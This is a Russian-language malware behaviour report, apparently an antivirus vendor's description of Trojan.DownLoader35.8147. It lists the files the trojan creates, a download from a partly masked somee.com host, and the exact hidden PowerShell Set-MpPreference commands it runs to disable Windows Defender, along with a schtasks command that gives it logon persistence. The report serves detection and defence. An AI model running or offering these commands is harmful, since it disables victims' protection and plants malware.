Trojan.DownLoader35.8147

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\runtime broker

Изменения в файловой системе

Создает следующие файлы

%TEMP%\gsgspc.pdf
%TEMP%\panphpegjxy.exe
%APPDATA%\bypassdefender\bypassdefender\1.0.0.0\off.vbs
%APPDATA%\bypassdefender\bypassdefender\1.0.0.0runtime broker.exe
%APPDATA%\runtime broker.exe
%TEMP%\tmp6373.tmp.bat
nul

Сетевая активность

TCP

Запросы HTTP GET

http://ru#########erplanchecarding.somee.com/Runtime%20Broker.exe

UDP

DNS ASK ru#########erplanchecarding.somee.com

Другое

Создает и запускает на исполнение

'%TEMP%\panphpegjxy.exe'
'%APPDATA%\bypassdefender\bypassdefender\1.0.0.0runtime broker.exe'
'%APPDATA%\runtime broker.exe'
'%WINDIR%\syswow64\wscript.exe' "%APPDATA%\ByPassDefender\ByPassDefender\1.0.0.0\off.vbs"
'%WINDIR%\syswow64\wscript.exe' "%APPDATA%\ByPassDefender\ByPassDefender\1.0.0.0\off.vbs" /elevate
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "Runtime Broker" /tr '"%APPDATA%\Runtime Broker.exe"' & exit' (со скрытым окном)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32.exe' "%TEMP%\Gsgspc.pdf"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "Runtime Broker" /tr '"%APPDATA%\Runtime Broker.exe"' & exit
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tmp6373.tmp.bat""
'%WINDIR%\syswow64\timeout.exe' 3
'%WINDIR%\syswow64\schtasks.exe' /create /f /sc onlogon /rl highest /tn "Runtime Broker" /tr '"%APPDATA%\Runtime Broker.exe"'